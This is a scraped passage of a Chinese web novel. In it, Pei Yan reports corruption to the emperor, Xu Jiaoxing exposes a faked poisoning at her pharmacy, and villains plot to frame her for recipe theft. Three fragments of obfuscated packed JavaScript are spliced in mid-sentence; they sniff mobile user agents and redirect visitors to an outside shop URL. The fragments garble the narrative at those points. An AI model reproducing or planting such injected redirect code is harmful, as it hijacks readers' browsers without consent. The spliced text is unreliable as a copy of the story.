国公府坐落在城东的崇仁坊,紧挨着皇城。这一片多是开国勋贵的宅邸,朱门高墙,鳞次栉比,连空气中都弥漫着权势与财富沉淀下来的厚重气息。 裴家的国公府是先帝赐下的宅子,占地极广,五进的大院,门前一对石狮威猛雄健,据说还是当年太祖皇帝钦点的样式。府邸东侧紧邻着长公主府,西边隔着条e巷子便是户部尚书的宅子,往北一圈,皆是朝中一二品大员的府邸裴宴在府门前下了马,风尘仆仆。守门的小厮远远看见,忙不迭地跑进去通报。不过片刻,管家裴忠便迎了出来,脸上堆着笑:“公子回来了!老夫人从昨儿个就念叨,可算把您盼回来了。” “忠叔。”裴宴微微颔首,将马缰递给迎上来的马夫,“祖母身子可好?” “好,好着呢!就是惦记您。”裴忠一边引着往里走,一边絮絮地说着府里近况,“老爷前日被召进宫议事,到今儿还没回府。 裴宴听着,脚步不停,径直往内院去。 穿过垂花门,绕过影壁,便是老夫人居住的寿安堂。院子里种着几株老石榴,这时节花开得正盛,红艳艳的像一团团火。廊下挂着几只鸟笼,画眉在里头婉转地啼。 丫鬟早通报进去,裴宴刚踏上台阶,帘子便掀开了。裴老夫人扶着丫鬟的手站在门内,满头银发梳得一丝不乱,穿着沉香色绣福寿纹的褙子,眼巴巴地望着门口。 “祖母。”裴宴快步上前,在阶前便撩袍跪下,“孙儿给祖母请安。” “快起来,快起来!”老夫人一迭连声,眼中笑意藏都藏不住,亲自伸手去扶,“让我好好看看……瘦了,定是在外头没好好吃饭。” 裴宴顺势起身,扶着祖母往屋里走:“孙儿一切都好,倒是祖母,看着清减了些。” “我有什么清减的,整日在府里养着。”老夫人拉他在身边坐下,一迭连声吩咐丫鬟,“快拿帕子来给宴哥儿擦脸,去沏茶,要刚送来的明前龙井。厨房里炖的银耳莲子羹也端一碗来……” 丫鬟们忙成一团。裴宴接过温热的帕子擦了脸手,这才在祖母下首的绣墩上坐下。 “你外祖母身子可硬朗?”老夫人问起江南的事。 “外祖母身子康健,让孙儿代问祖母安好。”裴宴答道,“二舅父、舅母也都好。谦表哥还托孙儿带了些江南的土仪,跟在后面,明日便能送到。” 提到沈家,老夫人脸上笑容淡了些,眼中闪过一丝复杂的追忆,却也没多说什么,最终只点点头:“难为他们惦记。”她顿了顿,看着孙儿眉宇间藏不住的倦色,话锋一转,“你一路舟车劳顿,先回房歇歇。有什么话,明日再说。” 裴宴确实累了。连日赶路,加上在江南那些明察暗访,身心俱疲。他起身行礼:“那孙儿先告退,晚些再来陪祖母用饭。” “去吧去吧,好生歇着。”老夫人慈爱地摆手。 裴宴的院子在国公府东侧,名唤“九思居”。院名取自“君子有九思”,透着克己复礼的肃然,与他此刻风尘仆仆的归来形成一种微妙反差。三进的院落不算阔朗,却极清幽。一池活水引自外头的金水河,潺潺环绕,池边翠竹与芭蕉绿意正浓,在午后光影里泛着油润的光泽。 他刚踏进月洞门,原本静谧的院子仿佛被投入石子的静水,瞬间活络起来。早已得了消息、翘首以盼的丫鬟们,如归巢的雀儿般从各处盈盈涌现,一拥而上,将他妥帖地拱卫在中心。 “公子回来了!” “公子一路可安顺?” “热水一直备着呢!” 管事大丫鬟秋月领首上前,声音清脆却有条不紊,压下了一片叽叽喳喳的问候。她身后,几个伶俐的二等丫鬟已然各司其职:一个无声接过他沾了尘灰的披风,一个递上温度恰好的沁香帕子,另一个已捧着干净的软鞋候在一旁。 “公子是先沐浴解乏,还是先用些清淡茶点垫垫?”秋月微微仰头,目光关切地扫过他眼底的淡青。 “沐浴。”裴宴简短道,声音里的疲惫在回到熟悉的环境后,似乎更明显了些。他任由丫鬟们簇拥着往正房去,那阵势并非喧闹,而是一种训练有素、密不透风的体贴,将他与外界的一切烦扰暂时隔开。 屋里一切如旧。紫檀木的多宝阁,官帽椅,临窗的书案上笔墨纸砚摆放得整整齐齐,连他离京前看了一半的那本兵书,都还摊开在原来的位置。空气中弥漫着淡淡的檀香味,是他惯用的熏香。 裴宴站在屋中,环视一周,忽然有种恍如隔世的感觉。 在江南这一个多月,看的是小桥流水,听的是吴侬软语,接触的是市井百姓、江湖郎中。而这里,是高门深院,是钟鸣鼎食,是权谋算计。 两个世界。 他摇摇头,将这莫名的感慨压下。丫鬟已备好了热水,他走进盥洗室,褪去沾满尘土的衣衫,将自己浸入温热的水中。 水汽氤氲,疲惫一点点从骨缝里渗出来。裴宴闭上眼,脑海里却不由自主地浮现出一些画面—— 纯阳宫石径上那个雨过天青色的身影;柳枝巷小院里那双清亮坦然的眼;还有那夜翻墙而入时,她惊吓后又强作镇定的模样…… 他猛地睁开眼。 不该想这些。 明日要进宫面圣,江南的事需得仔细禀报。那些私盐、漕运、贪墨的线索千头万绪,牵涉的官员从地方到中枢,个个都不是省油的灯。尤其是崔琰…… 裴宴眼神沉了下来。 这个老太监,在江南经营多年,手伸得极长。盐、茶、漕运,处处都有他的影子。更棘手的是,朝中似乎也有人与他勾连…… 他起身,换上干净的月白中衣,外罩一件石青色家常道袍。秋月端来热茶和几样点心,他挥手让丫鬟们都退了下去。简单用了些点心,他便在书案前坐下,取出路上整理的密报,细细翻阅。 烛火燃起时,他已将江南之行的要点梳理清楚。哪些证据确凿,哪些尚需查证,哪些线索指向何人,一一在胸。 窗外天色渐暗,暮色四合。 裴宴吹熄烛火,走到窗前。清风苑里安静得很,只闻竹叶沙沙,池水潺潺。远处隐隐传来更鼓声——戌时了。 他深吸一口气,又缓缓吐出。 明日,还有一场硬仗要打。 第二日,天还未亮,裴宴便起身了。 秋月伺候他换上朝服——绯色罗袍,腰束玉带,头戴乌纱幞头。镜中的少年眉目清俊,神色沉静,通身透着世家子弟的矜贵与沉稳。 “公子今日要进宫?”秋月一边为他整理衣襟,一边轻声问。 “嗯。”裴宴应了一声,“若老爷回府,就说我午后便回。” “是。” 马车早已候在府门外。裴宴登车,车夫一声轻喝,马车辘辘驶向皇城。 清晨的京城尚未完全苏醒,街道上已有早起的贩夫走卒。卖菜的、挑水的、赶早市的,在薄雾中穿行。马车穿过几条街巷,巍峨的皇城便出现在眼前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222052|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朱红的宫墙,金色的琉璃瓦,在晨曦中泛着庄严的光。守卫宫门的禁军认得国公府的车驾,查验了腰牌便放行入内。 裴宴在左银台门外下车,步行入宫。早有内侍等候,引着他往御书房去。 穿过重重宫门,绕过几处殿宇,御书房便到了。这是皇帝日常处理政务、召见近臣的地方,不算宏阔,却处处透着天家的威严。 内侍通报后,书房门开启。裴宴整了整衣冠,垂首入内。 “臣裴宴,叩见陛下。” “平身。”御案后传来一个温和却威仪的声音。 裴宴起身,垂手侍立。抬眼看去,皇帝正坐在紫檀木御案后,穿着明黄色常服,四十来岁的年纪,面容清癯,眼神睿智而深沉。他手边堆着几叠奏章,显是已处理了许久政务。 “江南一行,辛苦了。”皇帝放下手中的朱笔,示意内侍看座。 “臣分内之事。”裴宴在绣墩上坐了半个身子,姿态恭谨。 内侍奉上茶,便悄无声息地退了出去,带上房门。书房里只剩下君臣二人。 皇帝端起茶盏,轻轻撇着浮沫,看似随意地问:“江南风物如何?” “山清水秀,物阜民丰。”裴宴答道,“只是……” “只是什么?” 裴宴抬眼,见皇帝目光如炬,便知不必再绕弯子。他从袖中取出一份密折,双手呈上:“臣在江南暗访月余,查到些事,需禀报陛下。” 皇帝接过密折,展开细看。起初神色尚平静,越往后看,眉头皱得越紧。待看到某处时,脸色陡然阴沉下来。 书房里一片死寂,只闻皇帝翻动纸页的沙沙声。 许久,皇帝放下密折,抬眼看向裴宴,声音听不出情绪:“这些事,你可有实证?” “部分有。”裴宴斟酌着回道,“江南道漕帮与沿途州县官员勾结,贩卖私盐、偷漏税赋,臣已拿到几处码头、盐场的账册副本,人证也有几个。只是……”他顿了顿,“牵涉的官员不少,有些还是朝中重臣的门生故旧。若要一查到底,恐震动朝野。” 皇帝沉默片刻,手指在御案上轻轻叩击,发出有节奏的笃笃声。 “还有一事,”裴宴继续道,声音压得更低,“关于江南路发运使崔琰。” 皇帝眼神陡然锐利:“崔琰?他怎么了?” “臣查到,崔琰在江南这些年,不仅与盐商、漕帮往来密切,更插手茶政、漕运,从中牟利巨万。”裴宴一字一句道,“更可疑的是,他每年往京中运送的‘江南特产’,数额惊人,远超常理。臣怀疑,其中不少是……” 他没说完,但皇帝听懂了。 “送往宫中?”皇帝声音冷了下来。 “臣不敢妄言。”裴宴垂首,“只是崔琰在宫中根基颇深,若真有其事,恐牵涉更广。” 皇帝久久不语。御书房里烛火跳动,将他的影子投在墙上,拉得忽长忽短。 裴宴静静等着。他知道这番话的分量——崔琰不是寻常官员,他是太监,是天子家奴,却在江南只手遮天。若真查下去,牵扯出的恐怕不止是贪墨,更是宫闱秘辛。 良久,皇帝终于开口,声音疲惫:“朕知道了。你且将查到的证据整理好,密奏上来。至于崔琰……”他顿了顿,“先不要打草惊蛇。” “臣遵旨。” 皇帝挥挥手:“你一路劳顿,先回去歇着吧。此事……容朕思量。” 裴宴起身行礼,退了出去。 走出御书房时,日头已升得老高。阳光刺眼,他眯了眯眼,回头望了眼那扇紧闭的朱红大门。 他深吸一口气,迈步走下石阶。 42. 第42章 医患风波 七月,梅雨渐歇,天气一日热过一日。 庆和堂后院的书房里,却门窗紧闭,弥漫着一股压抑的气氛。赵掌柜坐在紫檀木书案后,手里捏着一张药方,眼神阴鸷。对面站着两个汉子,一个四十来岁,面色蜡黄,眼袋浮肿,正是赵掌柜豢养的“药托”刘三;另一个三十出头,精瘦干练,是刘三的搭档王五。 “这次的事,只许成,不许败。”赵掌柜将药方拍在桌上,“大官人那边催得紧,若再办砸了,咱们谁都别想好过。” 刘三赔着笑:“掌柜的放心,这活计咱们干了十几年,从没失过手。那许娇杏不过是个黄毛丫头,能有多大本事?” “你莫要轻敌。”赵掌柜冷冷道,“这丫头能在医药鉴别会上出头,又得了沈府青眼,定有过人之处。大官人吩咐了,要么不做,要做就得做绝,让她再无翻身之日。” 王五凑近些,压低声音:“掌柜的,按您的吩咐,我们都打听清楚了。那张记药铺如今病人多,许娇杏虽不常坐堂,可每逢廖大夫、万大夫忙不过来时,她也会接诊些简单的病症。咱们就挑这个时候去。” “具体怎么安排?”赵掌柜问。 刘三从怀里掏出一张纸,上面密密麻麻记着些字:“这是小的们拟的章程,掌柜的您过目。” 赵掌柜接过细看。计划倒是周密——先由刘三假装病患去张记求诊,许娇杏若接诊,便开方抓药。服药后,刘三会出现“中毒”症状,口吐白沫,昏迷不醒。届时王五带人上门闹事,声称张记药铺庸医害人,要报官查办。 “这‘中毒’的症状……”赵掌柜沉吟,“可要做得真些,莫让人看出破绽。” “掌柜的放心。”刘三嘿嘿一笑,“小的用的那药,是专门配的,服下去后脉象紊乱,面色发青,口吐白沫,与真中毒一般无二。便是经验丰富的老大夫,也难辨真伪。而且药性温和,服了解药半个时辰就能醒,绝不会真伤身子。” 赵掌柜点点头,却又想起一事:“若是那许娇杏不接诊,或是开的方子太简单,闹不大怎么办?” “这小的也想到了。”王五接口,“若她不接诊,咱们就闹,说她见死不救,没有医德。若方子简单,刘三哥就说不舒服,让她改方子,多加几味贵细药材。总之,无论如何都要让她开出一张能‘吃出问题’的方子。” 赵掌柜思忖片刻,终于点头:“好,就按你们说的办。事成之后,少不了你们的好处。” “谢掌柜的!”两人齐声道。 “记住,”赵掌柜站起身,走到窗边,背对着他们,“这事要做得干净,莫要留下把柄。许娇杏那丫头如今有沈府照应,若真闹大了,沈府插手查问,咱们都得吃不了兜着走。” 刘三王五连声应下,躬身退了出去。 书房里只剩赵掌柜一人。他望着窗外熙攘的街市,眼神阴冷。 许娇杏……要怪,就怪你自己不知天高地厚,得罪了不该得罪的人。 张记药铺这几日生意格外好。 自打许娇娇在医药鉴别会上出了名,又有沈府这层关系,来找她看病的人越来越多。虽她大多时候只帮着抓药制药,偶尔接诊些简单的病症,可名声传出去,连带着铺子的生意也红火起来。 这日清晨,许娇娇如常来到铺子。刚进后堂,便见张东家皱着眉头,手里拿着一封信。 “张伯,怎么了?”她上前问。 张东家将信递给她:“苏州那边的药商来信,说今年雨水多,好些药材收成不好,价格要涨三成。” 许娇娇接过信看了看,是张记常年合作的几家药商联名写的,说因天时不利,川黄连、当归、白芍等几味常用药材都要涨价。 “这可如何是好?”她蹙眉,“咱们铺子这些药材存货不多,若真涨价,成本要高出不少。” “正是为难。”张东家叹气,“若是涨价,药价也得跟着涨,可咱们铺子向来以平价惠民著称,这一涨,怕是要流失不少老主顾。若是不涨,这差价就得自己贴,长此以往,铺子也撑不住。” 正说着,前堂传来喧哗声。陈伙计匆匆跑来:“东家,外头来了个病人,说是腹痛难忍,廖大夫和万大夫都还没到,您看……” 张东家忙起身:“我去看看。” 许娇娇也跟着去了前堂。只见一个四十来岁的汉子蜷在长凳上,面色蜡黄,额头冷汗涔涔,双手捂着肚子,嘴里不住呻吟。 “这位大哥,哪里不舒服?”张东家上前问诊。 那汉子抬起头,眼神有些涣散:“肚、肚子疼……像是刀绞一样……大夫,快救救我……” 许娇娇站在一旁,仔细打量这人。面色虽黄,可唇色却正常;虽喊腹痛,可按在腹上的手却不似真痛时那般紧绷。她心中一动,留了个心眼。 张东家诊了脉,脉象弦紧,确有腹痛之征。又问了些症状,那汉子说得含糊,只道是吃了不干净的东西。 “许是食积气滞。”张东家沉吟,“我先开个方子,你服了看看。若不见好,再来复诊。” 他提笔写下:山楂三钱、神曲三钱、陈皮二钱、半夏二钱、茯苓三钱、甘草一钱。是个再平常不过的消食导滞方。 那汉子接过方子,却不急着抓药,反而苦着脸道:“大夫,我这疼得厉害,这方子……管用么?要不要再加几味药?” 张东家皱眉:“药不在多,在对症。你这症候不重,先用这个方子看看。” “可是……”汉子还要再说。 许娇娇忽然开口:“这位大哥,你若信不过东家的方子,不妨去别家医馆看看。仁心堂、济世堂都不远。” 那汉子一愣,眼神闪烁了一下,讪讪道:“不、不是信不过……就是疼得厉害,想快些好。”说着,终于拿着方子去柜台抓药了。 许娇娇看着他离去的背影,心中疑窦更甚。寻常病人求医,大夫开了方子,感激还来不及,哪有嫌药少要求加味的?这人……不对劲。 但她没说什么,只默默记下了这人的样貌。 午时刚过,铺子里病人渐少。许娇娇正在后院炮制一批新到的柴胡,忽听前堂传来震天的哭喊声。 “杀人啦!张记药铺庸医害人啦!” 她心头一跳,放下手中的铜铲,快步往前堂去。 只见铺子门口围了一大群人,指指点点,议论纷纷。当中一个汉子躺在地上,口吐白沫,浑身抽搐,正是上午那个腹痛的病人。旁边一个妇人扑在他身上,哭天抢地:“当家的!你醒醒啊!你可不能有事啊!” 一个精瘦的汉子——正是王五——指着张东家破口大骂:“好你个黑心大夫!我大哥上午来你这看病,吃了你开的药,回去就成这样了!你们这是开的什么毒药?今天不给个说法,咱们就去见官!” 张东家脸色煞白,强自镇定:“这位兄弟,话不能乱说。我开的方子是寻常的消食导滞方,绝无毒副作用。这位大哥的症状,许是别的病因……” “放屁!”王五打断他,“我大哥上午还好好的,吃了你的药就倒了,不是你的药有问题是什么?大伙儿评评理,这药铺是不是草菅人命?” 围观的百姓议论纷纷,有的说张记向来仁厚,不该出事;有的说知人知面不知心,难保不会为了赚钱开错药。 许娇娇挤进人群,蹲下身查看那汉子的情况。面色发青,口吐白沫,脉搏紊乱,确似中毒之象。她翻开他的眼睑,又凑近闻了闻他口中的气味。 忽然,她眉头一皱。 这味道……不对。 真正的中毒,口中应有苦杏仁味或金属味。可这人嘴里只有一股淡淡的药味,混杂着些别的气味——像是……皂角? 她心中豁然开朗。皂角研粉服下,会刺激咽喉肠胃,引起呕吐、痉挛,症状与中毒相似,却不伤根本。这人定是服了皂角粉,伪装中毒! “许姑娘,你看这……”张东家急得满头大汗。 许娇娇站起身,扫视众人,朗声道:“诸位乡邻,请听我一言。这位大哥的症状,看着凶险,实则无碍。” 王五立刻跳起来:“你说无碍就无碍?我大哥都这样了!” “正因为‘这样’,才无碍。”许娇娇从容道,“若真是中毒,此刻应已昏迷不醒,脉微欲绝。可这位大哥虽口吐白沫,肢体抽搐,脉搏却有力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226028|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识也未完全丧失。这分明是服了刺激之物引起的痉挛,并非中毒。” 她转向那哭喊的妇人:“这位大嫂,你丈夫上午来诊病时,可说过他平日有什么隐疾?或是最近吃过什么特别的东西?” 妇人一愣,支吾道:“没、没什么隐疾……就是肚子疼……” “肚子疼?”许娇娇追问,“是哪种疼?胀痛?刺痛?还是绞痛?在哪个位置?疼了多久?” 一连串问题,问得妇人张口结舌,答不上来。 许娇娇心中更有了底,又道:“若真是我铺子的药有问题,此刻该立即报官,请仵作验尸——啊不对,验药。将剩余的药材、药渣都查验清楚,自然水落石出。” 她看向王五:“这位大哥,你可还留着药渣?或是没煎完的药?” 王五脸色一变:“早、早扔了……” “扔了?”许娇娇挑眉,“人还昏迷着,药渣就扔了?这不合常理吧?” 围观的百姓也开始觉得不对劲,议论声渐渐转了风向。 许娇娇趁热打铁,从袖中取出一个小瓷瓶:“我这儿有自制的通窍醒神丸,最擅解痉开窍。这位大哥若信得过,可服一粒,片刻便能醒来。” 王五刚要阻止,地上的汉子忽然抽搐得更厉害,呻吟出声。许娇娇眼疾手快,倒出一粒丸药,捏开他的嘴塞了进去,又灌了少许温水。 不过半盏茶工夫,那汉子的抽搐渐渐停了,口中的白沫也少了。又过了一会儿,他竟慢慢睁开了眼,茫然地看着四周。 “当家的!”妇人扑上去,“你醒了?你感觉怎么样?” 汉子虚弱地开口:“我……我这是怎么了?” 许娇娇蹲下身,温声道:“这位大哥,你上午吃了什么特别的东西么?比如……皂角粉?” 汉子脸色大变,眼神慌乱:“什、什么皂角粉……我不知道……” “不知道?”许娇娇从地上捡起一小撮他吐出的白沫,在指尖捻了捻,“这白沫中有皂角特有的滑腻感,气味也像。你若没吃过,这皂角是从哪儿来的?” 围观的百姓哗然。有人喊道:“皂角粉吃了就会吐白沫,装中毒!这是来讹诈的吧!” 王五见势不妙,转身想溜,却被几个看热闹的汉子堵住了去路。 张东家这时也反应过来,气得浑身发抖:“好哇!原来是来讹诈的!陈平,赶紧去报官!” “别、别报官!”地上的汉子挣扎着爬起来,跪地求饶,“是我们错了!是我们鬼迷心窍!求大夫饶了我们这回吧!” 许娇娇看向张东家。张东家终究心软,叹了口气:“罢了,报官也不必。你们走吧,往后莫再做这等缺德事。” 王五和刘三如蒙大赦,搀扶着那假装中毒的汉子,灰溜溜地挤开人群跑了。 围观的百姓议论纷纷,都说张记药铺仁义,遇上这等事还以德报怨。有人称赞许娇娇医术高明,一眼看穿骗局;有人感慨行医不易,还要防着有人使坏。 待人群散去,张东家拉着许娇娇的手,眼圈泛红:“娇杏,今日多亏了你。若不是你明辨是非,咱们铺子的名声可就毁了。” 许娇娇摇头:“张伯言重了,这是我该做的。”她顿了顿,低声道,“只是……这事恐怕没那么简单。那几个人不像是寻常讹诈的,倒像是……有人指使。” 张东家脸色一肃:“你是说……” “我也说不准。”许娇娇道,“但咱们今后要更加小心。药材涨价的事,也需早做打算。” 张东家点头:“你说得对。我明日便去苏州一趟,亲自与药商谈谈。铺子里……就劳你和廖大夫、万大夫多费心了。” “张伯放心。” 回到后院,许娇娇重新拿起铜铲,继续炮制柴胡。炭火明明灭灭,药香氤氲,可她的心却静不下来。 今日这场风波,来得蹊跷。那几个人演技拙劣,破绽百出,不像是老手。可正因如此,才更可疑——若是有人指使,为何找这么几个不中用的? 许娇娇心中疑虑,难道这仅仅是试探她的反应? 或许只是一般的泼皮无赖想要讹些钱财吧! 43. 第43章 日子滑到了七月中,菰城的天气越来越炎热。 午后,日头白晃晃地悬在天顶,将青石板路晒得发烫。柳枝巷里静悄悄的,家家户户都闭门躲暑,连平日最爱在巷口说闲话的几个婆娘也不见了踪影。 许娇娇的小院里,几株柳树的叶子被晒得蔫蔫的,边缘微微卷曲。墙角那丛月季倒是精神,在烈日下开得正艳,粉红的花朵灼灼地烧着,香气被热气一蒸,浓得化不开。 旺财趴在堂屋门口的阴凉处,舌头吐得老长,呼哧呼哧地喘着气。听到院门声响,它慢腾腾地抬起头,见是许娇娇回来了,这才摇着尾巴站起身,慢吞吞地迎上来。 “热了吧,旺财。”许娇娇弯腰摸了摸它的头,手心感觉到皮毛下的热度。她从怀里掏出个小布包,打开,里头是几块在铺子里冰镇过的绿豆糕。旺财嗅了嗅,欢快地摇起尾巴。 今日铺子里病人不多,张东家特许她下午歇息。她本就打算早些回来,静心说要做荷叶粥解暑,静尘也说有件夏衫快缝好了,要她试试。 推开堂屋的门,一股清凉扑面而来。静心在屋里放了盆井水,丝丝凉意弥漫开来。她正坐在小杌子上择菜,见许娇娇回来,抬头笑了笑:“回来了?锅里炖着绿豆汤,在井里镇着呢,一会儿就能喝。” 静尘则坐在窗下的绣架前,手里拿着一件月白色的夏衫,正细细地缝着领口的滚边。听见动静,她抬起头,眼神温柔:“娇杏,快来试试,只差几针就好了。” 许娇娇放下药箱,走到静尘身边。那夏衫是细葛布的料子,轻薄透气,领口袖口滚着浅青色的边,绣着几丛疏疏的兰草,雅致得很。 “师姐的手艺越发好了。”她由衷赞道。 静尘抿嘴一笑:“你喜欢就好。夏日炎热,穿这个凉快些。”她将最后一针收好,咬断线头,“来,试试看。” 许娇娇接过夏衫,到里间换上。料子贴在身上,果然清凉舒适,尺寸也正合适。她走出来,静尘和静心都眼睛一亮。 “真好看。”静心放下手里的菜,“娇杏穿什么都好看。” 许娇娇有些不好意思,岔开话题:“对了,我刚才回来时,看见隔壁搬来了新邻居?” “是呢!”静心重新坐下择菜,“听说主家姓崔,听刘大娘说,是从京城来的,做点小本生意。夫妻俩带着个女儿,那女儿生得可标致了。” 静尘也道:“今日上午他们搬家时,我还去帮了把手。那崔娘子瞧着不过三十出头,说话细声细气的,模样很是出挑,倒像个大家闺秀。崔先生腿脚不便,拄着拐,人看起来不好相与。” “对对,眼神十分可怕,刘大娘还说……”静心压低声音,神秘兮兮的,“说那夫妻俩看着不像原配。崔娘子太年轻,崔先生却显老,两人之间……总觉得隔着一层。” 许娇娇摇头:“别人家的事,咱们还是少议论。既做了邻居,往后互相照应便是。” 她虽这么说,心里却留了个心眼。柳枝巷虽不是顶好的地段,可也不算差,寻常人家搬来,总有个缘由。那崔家从京城来,人生地不熟,偏选了这里,确实有些蹊跷。 不过转念一想,自己也是外来户,何必疑神疑鬼?便将这些念头压下了。 三人说着闲话,不知不觉说到了落溪村。 静心熬好了荷叶粥,盛了三碗晾着,忽然叹了口气:“说起来,咱们来菰城许久。不知李阿婆他们现在怎样?还有村里那些孩子……” 许娇娇端着碗的手顿了顿。她何尝不记挂?李阿婆待她如亲孙女,村里的孩子们也喜欢她。可因着水仙姑的逼迫,她不得不仓促离开,连道别都来不及。 “等安稳些,咱们可以托人捎封信去。”她轻声道,“只是眼下,还是不要联系的好,免得给李阿婆他们惹麻烦。” 静尘一直沉默着,这时忽然放下手中的针线,抬头看向许娇娇,眼神复杂。 “娇杏,”她声音有些发颤,“有件事……我藏在心里很多年了,一直没敢说。” 许娇娇心头一跳:“师姐,什么事?” 静尘深吸一口气,像是下定了极大的决心。她起身关上堂屋的门,又检查了窗户,这才重新坐下,压低了声音: “是关于……我师父的死。” 许娇娇一怔。了尘师父是水月庵的前任主持,静尘的恩师。她记得静尘说过,了尘师父是突发急症过世的,那时静尘还小,许多事记不清了。 “师父她……不是病逝的么?”许娇娇轻声问。 静尘摇头,眼圈渐渐红了:“我那时虽小,可有些事……我记得清楚。”她顿了顿,声音更低了,“那年我六岁,师父带着我在庵里。有一天,王大官人来了——那时他还不像现在这般显赫,只是个寻常富户。水仙姑……那时还不是主持,只是师父的表妹,来庵里暂住。” 许娇娇屏住呼吸。 “王大官人常来,每次来,水仙姑都会单独见他,两人在禅房里一待就是许久。师父起初不在意,只当是亲戚往来。可后来……”静尘的声音颤抖起来,“后来有一次,师父外出化缘,原本说好傍晚才回,可那天雨大,她提前回来了。” 堂屋里静得可怕,连旺财都似乎察觉到了什么,竖起耳朵,不安地动了动。 “师父回到庵里时,天还没黑。她听见禅房里有动静,便走过去看……”静尘闭上眼,像是要忍住泪水,“门虚掩着,她看见了……王大官人和水仙姑……他们……” 她没有说完,但许娇娇听懂了。 “师父当时就退了回来,什么都没说,回了自己的禅房。那一整夜,她房里的灯都亮着。”静尘睁开眼,眼中已盈满泪水,“第二日一早,水仙姑照常来请安,神色如常。师父也什么都没说,只让她去准备早课。可是……早课还没开始,师父就倒下了。” 许娇娇握住静尘的手,发觉她的手冰凉,还在微微颤抖。 “我当时吓坏了,哭着去喊人。水仙姑来了,看了看师父,说是突发心疾,让人快去请大夫。可那时庵里偏僻,等大夫赶到时,师父已经……”静尘哽咽着,“已经没了气息。” “大夫怎么说?”许娇娇问。 “大夫也说不出所以然,只说是急症。”静尘抹了抹眼泪,“可我记得……师父倒下前,喝了一盏茶。那茶是水仙姑端给她的。” 许娇娇心头一震:“你怀疑……” “我不知道。”静尘摇头,“我那时太小,很多事想不明白。可师父身子一向硬朗,从无隐疾,怎么会突然就……而且那之后,水仙姑很快就接任了主持。再后来,王大官人常来,庵里除了初一十五允许香客入内烧香拜佛,其余时间庵门都是关闭的。对外只说是庵里姑子少,不方便接待,可并不是这样,庵里时常有女子来,可那些进出的女子、孩童……” 她没有再说下去,但许娇娇已经听懂了。 水月庵那些见不得光的勾当,恐怕从那时就开始了。了尘师父撞破了丑事,成了必须除掉的障碍。而水仙姑和王大官人,一个贪财好利,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226029|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个好色阴狠,正是绝配。 “这些年,我夜里常做噩梦。”静尘低声道,“梦见师父倒下的样子,梦见水仙姑那双眼睛……我不敢说,也不敢想。直到遇见你,娇杏,你那么聪慧、机敏,我才觉得……或许有一天,真相能大白。” 许娇娇紧紧握住她的手:“师姐,你放心。了尘师父的冤屈,还有那些被他们害了的人,总有一天,我们会讨回公道。” 静心在一旁早已听得泪流满面,这时也握住静尘另一只手:“师姐,我们都在。娇杏说得对,坏人会有报应的。” 三人手紧紧握在一起。 同一时刻,庆和堂后院的书房里,赵掌柜正与王兆仁派来的心腹密谈。 来人是个三十来岁的精壮汉子,叫吴勇,是王兆仁在府衙里的得力手下。他穿着寻常的青布衫,可眼神锐利,举手投足间透着富人家豪奴的气势。 “赵掌柜,二老爷让我来问,那件事办得如何了?”吴勇开门见山。 赵掌柜脸上露出尴尬之色:“吴兄弟,上次的事……出了点岔子。那丫头机警,识破了刘三他们的把戏,没能成事。” 吴勇眉头一皱:“二老爷说了,大官人那边催得紧。那丫头如今攀上了沈府,若再让她坐大,往后更难收拾。” “我知道,我知道。”赵掌柜连连点头,“这不,我又想了新法子。” “什么法子?” 赵掌柜凑近些,压低声音:“那丫头不是擅制药么?仁心堂不是与她有契书,每月请她去指点制药么?咱们就从这上头下手。” 吴勇挑眉:“怎么说?” “我打听到,仁心堂近日在试制一种新药,叫‘清心丸’,是治心悸失眠的方子。”赵掌柜眼中闪过精光,“这方子是仁心堂的秘方,从不外传。若让那丫头偷了这方子,或是让人以为她偷了……” 吴勇眼睛一亮:“这主意好!医药行当最忌偷师窃方,若坐实了,她在这行就别想立足了。沈府那样的人家,最重名声,也绝不会再庇护一个偷方子的小人。” “正是。”赵掌柜笑道,“我已安排好了。仁心堂制药房有个学徒,叫李二,家里老娘病重,急需用钱。我许了他五十两银子,让他帮忙。” “怎么帮?” “简单。”赵掌柜从抽屉里取出一张纸,“这是’清心丸’的方子。当然,是改过的,有几味药剂量不对,真按这个方子制药,吃不出人命,可也会让人不适。让李二把这方子偷偷塞进许娇杏的药箱里。届时咱们再让人偶然发现,指证她偷方。人证物证俱在,她百口莫辩。” 吴勇思忖片刻,点头:“这法子稳妥。只是……那李二可靠么?” “放心。”赵掌柜自信道,“他老娘的命攥在我手里。我已请了大夫去给他娘看病,药钱都是我出的。他若敢反水,他娘就没了。” 吴勇满意地点头:“好,就按你说的办。需要府衙那边配合的,尽管开口。” 